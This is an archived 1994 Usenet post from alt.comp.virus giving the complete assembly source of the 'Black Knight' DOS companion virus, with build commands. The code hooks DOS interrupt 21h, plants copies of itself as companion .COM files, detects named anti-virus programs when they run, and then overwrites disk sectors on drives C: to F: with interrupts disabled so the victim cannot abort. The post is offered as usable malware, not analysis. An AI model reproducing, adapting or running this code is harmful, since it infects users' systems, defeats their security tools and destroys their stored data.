home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / BLKNIGHT.ASM < prev    next >
Assembly Source File  |  1994-11-29  |  8KB  |  392 lines

  1. From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:54 1994
  2. Xref: netcom.com alt.comp.virus:508
  3. Path: netcom.com!ix.netcom.com!netnews
  4. From: Zeppelin@ix.netcom.com (Mr. G)
  5. Newsgroups: alt.comp.virus
  6. Subject: BlackKnight Virus (ANTI AV VIRUS)
  7. Date: 29 Nov 1994 13:09:23 GMT
  8. Organization: Netcom
  9. Lines: 376
  10. Distribution: world
  11. Message-ID: <3bf963$idi@ixnews1.ix.netcom.com>
  12. References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com>
  13. NNTP-Posting-Host: ix-pas2-10.ix.netcom.com
  14.  
  15. ;Black Knight Anti-Virus-Virus
  16. ;Size - 520
  17. ;
  18. ;Tasm BKNIGHT
  19. ;Tlink /T BKNIGHT
  20. ;Memory Resident Companion Virus
  21. ;Anti-Anti-Virus 
  22. ;Formats Drives C: to F: When Anti-Virus Product Is Ran
  23. ;Tempest - _ Of Luxenburg
  24. ;
  25.  
  26.         .radix 16
  27.      cseg       segment
  28.         model  small
  29.         assume cs:cseg, ds:cseg, es:cseg
  30.  
  31.         org 100h
  32.  
  33. oi21            equ endit
  34. filelength      equ endit - begin
  35. nameptr         equ endit+4
  36. DTA             equ endit+8
  37.  
  38.      
  39.  
  40.  
  41.  
  42.  
  43. begin:          jmp     virus_install                              
  44.  
  45. virus_name:            
  46.         db     'Black Knight'
  47.         
  48.  
  49.                          ;install
  50. virus_install:  
  51.         nop
  52.         nop
  53.         nop
  54.         mov     ax,cs                    ; reduce memory size   
  55.   
  56.         dec     ax                           
  57.         mov     ds,ax                        
  58.         cmp     byte ptr ds:[0000],5a        
  59.         jne     cancel                        
  60.         mov     ax,ds:[0003]                 
  61.         sub     ax,100                        
  62.         mov     ds:0003,ax
  63. Zopy_virus:  
  64.         mov     bx,ax                    ; copy to claimed block 
  65.  
  66.         mov     ax,es                        
  67.         add     ax,bx                       
  68.         mov     es,ax
  69.         mov     cx,offset endit - begin                    
  70.         mov     ax,ds                       
  71.         inc     ax
  72.         mov     ds,ax
  73.         lea     si,ds:[begin]            
  74.         lea     di,es:0100                  
  75.         rep     movsb                       
  76.                             
  77.  
  78.  
  79. Grab_21:                                     
  80.         
  81.         mov     ds,cx                   ; hook int 21h
  82.         mov     si,0084h                ; 
  83.         mov     di,offset oi21
  84.         mov     dx,offset check_exec
  85.         lodsw
  86.         cmp     ax,dx                   ;
  87.         je      cancel                  ; exit, if already 
  88. installed
  89.         stosw
  90.         movsw
  91.         
  92.         push    es 
  93.         pop     ds
  94.         mov     ax,2521h                ; revector int 21h to 
  95. virus
  96.         nop
  97.         int     21h
  98.         nop                                
  99.  
  100. cancel:         ret          
  101.  
  102. check_exec:     
  103.         pushf
  104.  
  105.         push    es                     ; push everything onto 
  106. the
  107.         push    ds                     ; stack
  108.         push    ax
  109.         push    bx
  110.         push    dx
  111.  
  112.         cmp     ax,04B00h               ; is the file being 
  113.         
  114.         
  115.         
  116.         jne     abort                   ; executed?
  117.         
  118.         
  119.  
  120.  
  121.                          ;if yes, try the_stinger
  122. do_infect:      call    infect                  ; then try to infect
  123.         
  124.         
  125.                   
  126.  
  127. abort:                                        ; restore everything
  128.         pop     dx
  129.         pop     bx
  130.         pop     ax
  131.         pop     ds
  132.         pop     es
  133.         popf
  134.  
  135. Bye_Bye:      
  136.                    ; exit
  137.         jmp     dword ptr cs:[oi21]                     
  138.  
  139.  
  140. new_24h:        
  141.         mov     al,3             ; critical error handler
  142.         iret
  143.  
  144. infect:          
  145.         mov     cs:[name_seg],ds       ; here, the virus 
  146. essentially
  147.         mov     cs:[name_off],dx       ; copies the name of the
  148.         
  149.         cld                            ; loaded file into a 
  150. buffer
  151.         mov     di,dx                  ; so that it can be 
  152. compared
  153.         push    ds                     ; against the default 
  154. names
  155.         pop     es                     ; in the_stinger
  156.         mov     al,'.'                 ; subroutine 
  157.         repne   scasb                  ; <-- 
  158.         
  159.         call    the_stinger            ; check for anti-virus 
  160. load
  161.                            ; and deploy the_stinger
  162.         
  163.         
  164.         
  165.         cld
  166.         mov     word ptr cs:[nameptr],dx
  167.         mov     word ptr cs:[nameptr+2],ds
  168.  
  169.         mov     ah,2Fh
  170.         int     21h
  171.         push    es
  172.         push    bx
  173.  
  174.         push    cs
  175.  
  176.         pop     ds
  177.         mov     dx,offset DTA
  178.         mov     ah,1Ah
  179.         int     21h
  180.  
  181.         call    searchpoint
  182.         push    di
  183.         mov     si,offset COM_txt
  184.  
  185.         mov     cx,3
  186.      rep    cmpsb 
  187.         pop     di
  188.         jz      do_com
  189.         mov     si,offset EXE_txt
  190.         nop
  191.         mov     cl,3
  192.         rep     cmpsb
  193.         jnz     return
  194.  
  195. do_exe:         mov     si,offset COM_txt
  196.         nop
  197.         call    change_ext
  198.         mov     ax,3300h
  199.         nop
  200.         int     21h
  201.         push    dx
  202.  
  203.         cwd
  204.         inc     ax
  205.         push    ax
  206.         int     21h
  207.  
  208. Grab24h:        
  209.         
  210.         mov     ax,3524h         
  211.         int     21h        
  212.         push    bx
  213.         push    es
  214.         push    cs
  215.         pop     ds
  216.         mov     dx,offset new_24h
  217.         mov     ah,25h
  218.         push    ax
  219.         int     21h
  220.         
  221.         
  222.         lds     dx,dword ptr [nameptr]  ;create the virus 
  223. (unique name)
  224.         xor     cx,cx
  225.         mov     ah,05Bh
  226.         int     21
  227.         jc      return1                 
  228.         xchg    bx,ax                   ;save handle
  229.         
  230.  
  231.  
  232.         push    cs
  233.         pop     ds
  234.         mov     cx,filelength          ;cx= length of virus
  235.         mov     dx,offset begin        ;where to start copying
  236.         mov     ah,40h                 ;write the virus to the 
  237.         int     21h                    ;new file
  238.  
  239.         mov     ah,3Eh                 ; close
  240.         int     21h
  241.  
  242. return1:        pop     ax
  243.         pop     ds
  244.         pop     dx
  245.         int     21h
  246.         
  247.         pop     ax
  248.         pop     dx
  249.         int     21h
  250.         
  251.         mov     si,offset EXE_txt
  252.         call    change_ext
  253.         
  254. return:         mov     ah,1Ah
  255.         pop     dx
  256.         pop     ds
  257.         int      21H
  258.  
  259.         ret
  260.  
  261. do_com:         call    findfirst                 
  262.         cmp     word ptr cs:[DTA+1Ah],endit - begin
  263.         jne     return
  264.         mov     si,offset EXE_txt
  265.         call    change_ext
  266.         call    findfirst
  267.         jnc     return
  268.         mov     si,offset COM_txt
  269.         call    change_ext
  270.         jmp     short return
  271.  
  272. searchpoint:    les     di,dword ptr cs:[nameptr]
  273.         mov     ch,0FFh
  274.         mov     al,0
  275.      repnz  scasb
  276.         sub     di,4
  277.         ret
  278. change_ext:     call    searchpoint
  279.         push    cs
  280.         pop     ds
  281.         movsw
  282.         movsw
  283.         ret
  284.  
  285. findfirst:      lds     dx,dword ptr [nameptr]
  286.         mov     cl,27h
  287.         mov     ah,4Eh
  288.         int     21h
  289.         ret
  290.              
  291. the_stinger:
  292.         cmp     word ptr es:[di-3],'MI'    ;Integrity Master
  293.         je      jumptoass                
  294.         
  295.         cmp     word ptr es:[di-3],'XR'    ;VIRX
  296.         je      jumptoass                
  297.         
  298.         cmp     word ptr es:[di-3],'PO'    ;VIRUSTOP
  299.         jne     next1                     
  300.         cmp     word ptr es:[di-5],'TS'   
  301.         je      jumptoass                
  302.  
  303. next1:          cmp     word ptr es:[di-3],'VA'    ;AV = CPAV
  304.         je      jumptoass                     
  305.         
  306.         cmp     word ptr es:[di-3],'TO'    ;*prot = F-prot
  307.         jne     next2                
  308.         cmp     word ptr es:[di-5],'RP'  
  309.         je      jumptoass                     
  310.  
  311. next2:          cmp     word ptr es:[di-3],'NA'    ;*scan = McAfee's 
  312. Scan.
  313.         jne     next3                
  314.         cmp     word ptr es:[di-5],'CS'  
  315.         je      jumptoass                     
  316.         
  317.         cmp     word ptr es:[di-3],'NA'    ;*lean = McAfee's 
  318. CLEAN.
  319.         jne     next3                      ; why not, eh?
  320.         cmp     word ptr es:[di-5],'EL'  
  321.         je      jumptoass                     
  322. next3:          ret                
  323. jumptoass:      jmp     nuke                  ;assassination (deletion)
  324.                         ; of anti-virus program
  325.  
  326.         
  327.         
  328. nuke:                
  329.         mov     al,2                   ;Lets Total The C: Drive
  330.         mov     cx,25
  331.         cli                             ; Keeps Victim From 
  332. Aborting
  333.         cwd                          
  334.         int     026h                
  335.         sti                         
  336.  
  337.         mov     al,3                   ;Lets Total The D: Drive
  338.         mov     cx,25
  339.         cli                             ; Keeps Victim From 
  340. Aborting
  341.         cwd                          
  342.         int     026h                
  343.         sti                         
  344.  
  345.         mov     al,3                   ;Lets Total The E: Drive
  346.         mov     cx,25
  347.         cli                             ; Keeps Victim From 
  348. Aborting
  349.         cwd                          
  350.         int     026h                
  351.         sti                         
  352.  
  353.  
  354.         mov     al,5                   ;Lets Total The F: Drive
  355.         mov     cx,25
  356.         cli                             ; Keeps Victim From 
  357. Aborting
  358.         cwd                          
  359.         int     026h                
  360.         sti                         
  361.  
  362.  
  363. EXE_txt         db  'EXE',0
  364. COM_txt         db  'COM',0
  365.  
  366.  
  367.  
  368. data_1          db      0
  369. data_2          db      0
  370.  
  371. last            db     090H
  372. name_seg        dw  ?
  373. name_off        dw  ?
  374.  
  375. c1              db       0          
  376. c2              db       0          
  377. c3              db       0          
  378. c4              db       0          
  379. c5              db       0          
  380. virus_man:      db      'Tempest - _ Of Luxenburg'
  381.                
  382. endit:
  383.  
  384.  
  385. cseg            ends
  386.         end begin
  387.  
  388.  
  389.  
  390.  
  391.  
  392.